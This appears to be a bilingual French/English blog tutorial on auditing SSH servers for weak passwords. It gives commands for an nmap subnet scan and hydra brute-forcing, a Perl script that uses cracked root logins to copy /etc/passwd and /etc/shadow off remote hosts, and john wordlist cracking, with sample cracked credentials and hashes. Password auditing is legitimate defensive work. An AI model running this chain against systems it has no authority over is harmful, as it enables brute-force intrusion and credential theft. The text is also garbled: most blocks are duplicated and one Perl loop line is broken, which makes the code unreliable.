Here’s a quick method to verify if we have weak passwords on our Unix/Linux systems. We use one round of online password cracking with hydra and, if we find root passwords, we execute a round of local cracking using john (much faster). This procedure runs beautifully via Backtrack.
- Trouver tous les serveurs SSH dans un sous-réseau – Find all SSH servers in a subnet:
$ nmap -oG nmap-ssh.txt -p22 10.14.26.0/24
- Créer une list des serveurs à auditer – Create a list of SSH servers to audit:
$ grep open nmap-ssh.txt | awk ‘{print $2}’ | sort -u > ssh-hosts.txt
- Exécuter une ronde de crackage en-ligne avec hydra – Execute initial online password guessing with hydra:
$ hydra -M ssh-hosts.txt -L logins.txt -P passwords.txt -e ns -o cracked.txt ssh
- Le fichier cracked.txt contient les noms d’usagers et mots de passes – The cracked.txt file contains the usernames and passwords that were cracked:
$ cat cracked.txt
# Hydra v7.1 run at 2011-11-27 16:43:46 on ssh-hosts.txt ssh (hydra -M ssh-hosts.txt -C creds -e ns -o cracked.txt ssh
# Hydra v7.1 run at 2011-11-27 16:43:46 on ssh-hosts.txt ssh (hydra -M ssh-hosts.txt -C creds -e ns -o cracked.txt ssh
[22][ssh] host: 10.14.26.28 login: adm password: adm
[22][ssh] host: 10.14.26.141 login: root password: r00t123[...]
[22][ssh] host: 10.14.26.141 login: root password: r00t123[...]
- Créer un script pour récupérer les fichiers passwd et shadow via SCP (avec les accès root découverts) en préparation à une ronde de crackage locale – Create a script to pull remote passwd and shadow files (with root credentials discovered) to prepare for an offline password cracking round:
$ vi get-passwd.pl
#!/usr/bin/perl
use Net::OpenSSH; # obtain from http://search.cpan.org/~salva/Net-OpenSSH/lib/Net/OpenSSH.pm
my $filename = “cracked.txt“;
open(FP, $filename) || die “ERROR: Could not open $filename\n”;
while ($line =){
chomp $line;
if (!($line =~ “^#”)){
($t1,$t2,$ip,$t3,$login,$t3,$pwd) = split(/\s+/, $line);
if ($login eq “root”){
print “$ip: $login / $pwd\n”;
my $ssh = Net::OpenSSH->new(“$login:$pwd\@$ip”);
mkdir $ip;
$ssh->scp_get({glob => 1}, ‘/etc/passwd’, ‘/etc/*shadow*’, “$ip”);
}
}
}
close(FP);
use Net::OpenSSH; # obtain from http://search.cpan.org/~salva/Net-OpenSSH/lib/Net/OpenSSH.pm
my $filename = “cracked.txt“;
open(FP, $filename) || die “ERROR: Could not open $filename\n”;
while ($line =
chomp $line;
if (!($line =~ “^#”)){
($t1,$t2,$ip,$t3,$login,$t3,$pwd) = split(/\s+/, $line);
if ($login eq “root”){
print “$ip: $login / $pwd\n”;
my $ssh = Net::OpenSSH->new(“$login:$pwd\@$ip”);
mkdir $ip;
$ssh->scp_get({glob => 1}, ‘/etc/passwd’, ‘/etc/*shadow*’, “$ip”);
}
}
}
close(FP);
- Exécuter le script – Execute the script:
$ ./get-passwd.pl
10.14.26.141: root / r00t123
10.14.26.140: root / r00t123
10.14.26.141: root / r00t123
10.14.26.140: root / r00t123
[...]
- Créer un script pour consolider les fichiers passwd et shadow – create a script to merge the passwd and shadow files:
$ cat unshadow.sh
#!/bin/sh
for i in `ls *-passwd | cut -f1 -d-`;do
echo $i
/pentest/passwords/john/unshadow $i-passwd $i-shadow > $i-merged
done
#!/bin/sh
for i in `ls *-passwd | cut -f1 -d-`;do
echo $i
/pentest/passwords/john/unshadow $i-passwd $i-shadow > $i-merged
done
- Executer le script – Run the script:
$ ./unshadow.sh
- Créer un script pour exécuter john – create a script to execute john:
$ cat john.sh
#!/bin/sh
JOHN=/pentest/passwords/john
PATH=$JOHN
john –config=$JOHN/john.conf –wordlist=passwords.txt *-merged
john –config=$JOHN/john.conf –wordlist=/dict/passwords.txt *-merged
john –config=$JOHN/john.conf –wordlist=/dict/txt/passwords-rockyou.txt *-merged
#!/bin/sh
JOHN=/pentest/passwords/john
PATH=$JOHN
john –config=$JOHN/john.conf –wordlist=passwords.txt *-merged
john –config=$JOHN/john.conf –wordlist=/dict/passwords.txt *-merged
john –config=$JOHN/john.conf –wordlist=/dict/txt/passwords-rockyou.txt *-merged
- Exécuter les script pour craquer plus de mots passe en mode “offline” (plus rapide) – Run the script to perform offline password cracking (faster than online):
$ ./john.sh
Loaded 35 password hashes with 35 different salts (FreeBSD MD5 [32/32])
oracle (oracle)
root123 (root)
[...]
Loaded 35 password hashes with 35 different salts (FreeBSD MD5 [32/32])
oracle (oracle)
root123 (root)
[...]
- Le fichier john.pot contient les mots de passes obtenus via john – The john.pot file contains the offline-cracked passwords obtained via john:
$ cat john.pot
$1$NxT24Nw3$Jujtwx.duFjXmlgUl1nbh.:oracle
$1$4.c65g6x$Pfrv3ib5ucb9DSr6ULkfn0:please
[...]
$1$NxT24Nw3$Jujtwx.duFjXmlgUl1nbh.:oracle
$1$4.c65g6x$Pfrv3ib5ucb9DSr6ULkfn0:please
[...]
